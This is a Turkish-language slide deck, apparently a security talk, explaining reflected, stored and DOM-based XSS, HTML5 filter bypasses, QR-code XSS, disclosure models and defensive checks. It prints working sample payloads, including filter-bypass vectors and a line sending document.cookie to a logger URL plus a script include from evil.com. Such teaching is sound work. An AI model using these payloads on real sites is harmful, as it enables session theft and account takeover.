Upload
signalsec-ltd
View
176
Download
0
Embed Size (px)
DESCRIPTION
Web uygulama güvenliği ve Javascript Injection Methodları
Citation preview
JavaScript Injections
● Bilgi Güvenliği Araştırmacısı @SignalSec● Pentester● Yazılım geliştirici● Open-Source sever.
@evrnyalcin
www.signalsec.com/blog
Index
0x01 Xss nedir?
0x02 Reflected, Stored, Dom XSS
0x03 Html5 Xss
0x04 Qrcode Xss
0x05 Motivasyon
0x06 Korunma Yöntemleri
Xss(cross-site scripting)
● Çapraz site betik saldırısı● Xss, en yaygın web saldırılarından birisidir.
(Top10)● Html, Css, JavaScript, Xml, DOM, Cookie, URI,
VBscript kullanılarak yapılır.
Xss Saldırı Çeşitleri
● Reflected● Stored● DOM
Tarayıcı Bileşenleri
Reflected Xss
Değişen ne?
URL :
Gonder.php?ad=justin&soyad=biber
Kaynak kodu :
$_GET['ad']
$_GET['soyad']
Yanıt
Merhaba $_GET['ad'] $_GET['soyad']
Reflected Xss
Gonder.php?ad=justin<Saldırı vektörü buraya gelecek>&soyad=biber
● Saldırı Vektörü : <script>alert(1);</script>
Alert!
Stored Xss
Stored Xss
Method : POST
Gonder.php?ad=justin&soyad=biber
Kayıtlı Kullanıcılar:
Stored Xss
Gonder.php?ad=justin<Saldırı vektörü buraya gelecek>&soyad=biber
● Saldırı Vektörü : <script>alert(1);</script>
Alert!
DOM nedir?
● DOM(Document Object Model) – Belge Nesne Yapısı
● DOM sayfa içindeki herhangi bir nesnenin özelliğine müdahele edebilmemize, nesne özelliklerini değiştirebilmemize olanak sağlar
DOM XSS
● DOM nesnelerine müdahale edilmesiyle ortaya çıkan bir açıktır.
● DOM-XSS, client-side bir açıktır.● URL parametreleri, XMLHttpRequest , HTTP
headers vb gibi...● Reflected, Stored kadar tehlikeli bir açıktır.
DOM XSS Source&Sinks
● Source : Saldırgan tarafından etkilenen DOM özellikleri
● Sink: DOM özellikleri, Javascript fonksiyonları vb gibi alanlar istemci taraflı kod çalıştırabilirler.
Source
● document.URL● document.URLUencoded● document.location(.pathname|.href|.search|.ha
sh)● window.location(.pathname|.href|.search|.hash
)
Source
● Document.cookie● SessionStorage● LocalStorage● Web SQL Database● Indexed DB
Source
● Window.name● Document.referer● history(Html5)
Sinks
InnerHTML, outerHTML, document.write● Eval, execScript, function, setTimeout,
setInterval, script.src, iframe.src, location(replace|assign)
DOM-based
● www.ornek.com/#key=value● www.ornek.com/#key=value<script src=”
http://www.evil.com”></script>
Dom-Xss örnek
<script type="text/javascript">
var param = location.hash.split("#")[1];
document.write("Merhaba " + param + "!");
</script>
Dom-Xss örnek
● ornek.html#<script>alert(1)</script>
IE 6, 7, 8, 9
Chrome 15 (XSS Filter Block)
Firefox 3, 4, 5, 6, 7
Jquery Güvenli mi?
● Javascript Güvenliği = Jquery Güvenliği● Jquery = Sink (bugs.jquery.com)
Bankalar Jquery Kullanırsa
Teori : ● Dom Xss açığı
● Top10 bankalar:
jQuery 1.3.2.min.js, jQuery 1.2.3 vs
● Pratik?
Jquery 1.6.1
Saldırı Vektörü : http://ornek.com/#<img src=/ onerror=alert(1)>
Html5
● Html5 > Html4● Yeni etiketler, özellikler● Yeni API'ler● Flash,Silverlight,java gibi eklentilere daha az
ihtiyaç duyacağız.● Clienr-side storage, drag-drop, web sockets● Firefox, Chrome, Safari ve Opera destekliyor.
Bypass filters
● <script>, <img> gibi tagları blokladım!
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
=> http://html5sec.org/
Bypass Filters
● <, > gibi tagları blokladım!
<form id onforminput=alert(1)><input></form>
<button form=test onformchange=alert(2)>
Local-Storage
<script>
alert(localStorage.getItem('SessionID'));
</script>
Qrcode(Karekod)
● QRCode(Quick Response) adını kelimelerinin baş harflerinden alır.
● Son yıllarda, Reklam panolarında, Kartvizitlerde, mobil ödemelerde vs kullanılıyor
Barkod içeriği kullanıcıyı ,● internet adresine, e-posta adresine, telefon
numarasına, iletişim bilgilerinie sms/mms, coğrafi konum bilgisine yönlendirebilir.
En büyük saldırı vektörü :)
EvilQR
Mobil cihazlar, hackerler için altın madenidir.● Kişisel bilgilerin çalınması● Konum bilgisi çalınması● 3G, GPRS, Wi-Fi, Blue-Tooth vs. Uzaktan kontrol
ile aktif edilmesi.● Kredi kartı bilgileri● Sosyal hesapların deface edilmesi(Twitter,
Facebook vs)
EvilQR
2 durum oluşturduk:● Javascript kodu çalıştır.● Kullanıcıyı zararlı içeriğe yönlendir.
EvilQR saldırı vektörleri
EvilQR analiz
Decode
QR okuyucu test
Güvenlik Önerileri
● Bilmediğiniz kaynaklarda QR-code kullanmayın● QR okuyucunuzda güvenlik açığı olup
olmadığına emin olun
Motivasyon
Saldırı vektörü : <script>alert(document.location)</script>
Motivasyon
● Xss açığı
vuln.php?id=<script>document.location="http://example.com/logger.php?cookie="+document.cookie;</script>
● JavaScript ile klavye hareketlerini takip et(onkeypress event)
● Html2canvas ile ekran görüntülerini çal
Motivasyon
● Samy worm (myspace) : Myspace'in çökmesine sebep olmuştur
● Yahoo Yamanner Worm : Web-mail sistemine bulaşmış ve spam yapmıştır.
● Orkut Worm : 300.000-600.000 kişiye bulaştığı söyleniyor.
Motivasyon
● Tumblr ağı şu an 65 milyon blog, 27,6 milyar post barındırıyor
● Tumblr Stored Xss
Saldırı vektörü :
tester"><img src='x' onerror="alert(document.cookie)" />
Motivasyon
www.xssed.com
Motivasyon
Dominator(Dom Xss Scanner)
Motivasyon
XSS Challenge
Motivasyon
● CIfrex Security Research Tool ● Ücretsiz● Php tabanlı ● “Apache2 Undefined Charset UTF-7 XSS
Vulnerability” ve nicesi● Cxsecurity.com
Motivasyon
Herşeyin bir bedeli var :) Google, Microsoft, Facebook, Twitter, Adobe, Ebay, Paypal vs
Zafiyeti ifşa etmek
● Responsible Disclosure:
1- Üretici ile temasa geçilir.
2- POC (proof-of-concept code) paylaşılır.
3- Anlaşırlar.
4- exploit-db.com gibi bir sitede yayınlanır.
Zafiyeti ifşa etmek -2
● Limited Disclosure:
1- Üretici ile temasa geçilir.
2- POC, herhangi bir bilgi verilmez.
Zafiyet ifşa etmek -3
● No Disclosure:
1- Deface
Korunma
● Html taglarını kapattınız mı?● Kullanıcı girdilerinde ' “ \ karakterlerini
denediniz mi?● Url link, attr vs değerlerinde farklı içerikler
denediniz mi?● Karakter kodlamasına dikkat ettiniz mi?● Response-header için Content-Type
tanımladınız mı?
Korunma
● HttpOnly kullanıyor musunuz?● Cache-Control header, http üzerindeki kullanıcılar için ne durumda?● 3. parti javascriptler içeri aktarılıyor mu?● Session cookie korunuyor mu?● Http header'ı kullanıcılar değiştirilebiliyor mu?● Kullanıcı dosya yükleyebiliyor mu?● Kullanıcı görsel vs yükleyebiliyor mu? Yüklüyorsa dosya içeriğini ve
aynı domainde olup olmadığını kontrol ediyor musunuz?● API erişimi sağlıyormusunuz? Evetse, aynı domainde mi ve cross-
domain kısıtlaması var mı?
Sonuç?
● Bütün kullanıcı girdileri tehlikelidir.● İnsan faktörü
TEŞEKKÜRLER @evrnyalcin | @xsuperbug